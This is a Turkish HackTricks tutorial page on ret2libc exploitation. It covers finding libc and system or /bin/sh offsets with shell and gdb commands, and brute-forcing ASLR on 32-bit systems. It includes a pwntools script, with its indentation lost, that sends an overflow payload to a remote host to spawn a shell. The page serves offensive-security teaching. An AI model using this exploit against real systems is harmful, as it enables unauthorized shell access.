Ret2lib

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Ret2Libc'nin özü, bir saldırganın sağladığı shellcode'u yığın üzerinde çalıştırmak yerine, bir zayıf programın yürütme akışını paylaşılan bir kütüphanedeki (örneğin, system, execve, strcpy) bir işlevine yönlendirmektir. Saldırgan, yığın üzerindeki dönüş adresini istenen kütüphane işlevine işaret edecek şekilde değiştiren bir yük oluşturur ve çağrı konvansiyonuna göre gerekli argümanların doğru bir şekilde ayarlandığından emin olur.

Örnek Adımlar (basitleştirilmiş)

  • Çağrılacak işlevin adresini (örneğin, system) ve çağrılacak komutu (örneğin, /bin/sh) alın
  • İlk argümanı komut dizesine işaret eden ve yürütme akışını işleve iletmek için bir ROP zinciri oluşturun

Adresleri Bulma

  • Kullanılan libc'nin mevcut makineden olduğunu varsayarsak, bellekte nerede yükleneceğini bulmak için:
bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Eğer ASLR'nin libc'nin adresini değiştirip değiştirmediğini kontrol etmek istiyorsanız şunu yapabilirsiniz:

bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Kullanılan libc'yi bilmek, system fonksiyonuna olan ofseti bulmayı da mümkün kılar:
bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Kullanılan libc'yi bilmek, /bin/sh fonksiyonuna olan ofseti bulmayı da mümkün kılar:
bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEF Kullanımı

Kullanılan libc'yi bilmek, system fonksiyonunun, exit fonksiyonunun ve /bin/sh dizesinin adresini almak için Peda veya GEF kullanmayı da mümkün kılar:

bash
p system
p exit
find "/bin/sh"

/proc/<PID>/maps Kullanımı

Eğer süreç her konuştuğunuzda çocuklar oluşturuyorsa (ağ sunucusu) o dosyayı okumayı deneyin (muhtemelen root olmanız gerekecek).

Burada, süreç içinde libc'nin tam olarak nerede yüklü olduğunu ve sürecin her çocuğu için nerede yükleneceğini bulabilirsiniz.

Bu durumda 0xb75dc000 adresinde yüklü (Bu libc'nin temel adresi olacaktır)

Bilinmeyen libc

Bilinmeyen bir libc'nin yükleniyor olabileceği durumlar olabilir (çünkü erişiminiz olmayan bir sunucuda bulunabilir). Bu durumda, bazı adresleri sızdırmak ve hangi libc kütüphanesinin kullanıldığını bulmak için açığı kötüye kullanabilirsiniz:

Leaking libc address with ROP

Ve bunun için bir pwntools şablonunu burada bulabilirsiniz:

Leaking libc - template

2 ofset ile libc'yi Bilmek

https://libc.blukat.me/ sayfasını kontrol edin ve libc içindeki birkaç adres kullanarak kullanılan versiyonu öğrenin.

32 bit'te ASLR'yi Aşmak

Bu kaba kuvvet saldırıları sadece 32 bit sistemler için faydalıdır.

  • Eğer istismar yerel ise, libc'nin temel adresini kaba kuvvetle bulmayı deneyebilirsiniz (32 bit sistemler için faydalıdır):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Uzak bir sunucuya saldırıyorsanız, usleep libc fonksiyonunun adresini brute-force ile bulmayı deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada sunucu yanıt vermek için 10 saniye ekstra alıyorsa, bu fonksiyonun adresini bulmuşsunuzdur.

One Gadget

Sadece libc'deki bir belirli adrese atlayarak bir shell çalıştırın:

One Gadget

x86 Ret2lib Kod Örneği

Bu örnekte ASLR brute-force kodun içine entegre edilmiştir ve savunmasız ikili dosya uzak bir sunucuda bulunmaktadır:

python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Kod Örneği

Aşağıdaki örneği kontrol edin:

ROP - Return Oriented Programing

ARM64 Ret2lib Örneği

ARM64 durumunda, ret talimatı x30 kaydının işaret ettiği yere atlar ve yığın kaydının işaret ettiği yere değil. Bu nedenle biraz daha karmaşık.

Ayrıca ARM64'te bir talimat, talimatın yaptığı şeyi yapar (talimatların ortasında atlamak ve onları yeni talimatlara dönüştürmek mümkün değildir).

Aşağıdaki örneği kontrol edin:

Ret2lib + Printf leak - arm64

Ret-into-printf (veya puts)

Bu, printf/puts'i belirli verilerle argüman olarak çağırarak işlemden bilgi sızdırmayı sağlar. Örneğin, puts'in GOT'daki adresini puts'in bir yürütmesine koymak, puts'in bellek adresini sızdırır.

Ret2printf

Bu, temelde bir Ret2lib'i printf format dizeleri zafiyeti haline dönüştürmek için kötüye kullanmak anlamına gelir; ret2lib'i kullanarak printf'i istismar etmek için değerlerle çağırmak (gereksiz gibi görünüyor ama mümkün):

Format Strings

Diğer Örnekler ve referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin